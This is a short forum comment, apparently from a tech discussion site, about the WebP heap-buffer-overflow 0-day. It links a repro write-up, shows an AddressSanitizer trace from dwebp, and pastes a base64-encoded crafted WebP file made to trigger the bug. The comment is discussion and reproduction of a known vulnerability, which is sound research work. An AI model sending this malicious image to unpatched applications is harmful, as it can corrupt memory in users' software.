3 ms·
Repro steps here: https://blog.isosceles.com/the-webp-0day/ https://blog.isosceles.com/the-webp-0day/ This is pretty bad, there will be many vulnerable applica
by yellow_lead 3y ago
Repro steps here: https://blog.isosceles.com/the-webp-0day/ https://blog.isosceles.com/the-webp-0day/
This is pretty bad, there will be many vulnerable applications and someone just posted how to exploit it. I just reproduced it on a VM:
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/<name>/webp_test/examples/dwebp+0xb24e9) in BuildHuffmanTable
Shadow bytes around the buggy address:
...
Also, here's the webp it generated as base64, but chrome doesn't crash or anything. Other apps may handle it differently, but many just say invalid format.
UklGRukAAABXRUJQVlA4TN0AAAAvAAAAAPAAWgAAsKwlnZsEAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAALRt27Zt27Zt27Zt27Zt2/b92fUAWgAAsLTknJskSQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAALw/23oALQAAWFpyzk2SJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN6f
bT2AFgAALC055yZJEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO/Pth7A/xsAQoutz/f3
fwAwMzNvVVXt7p5zLw==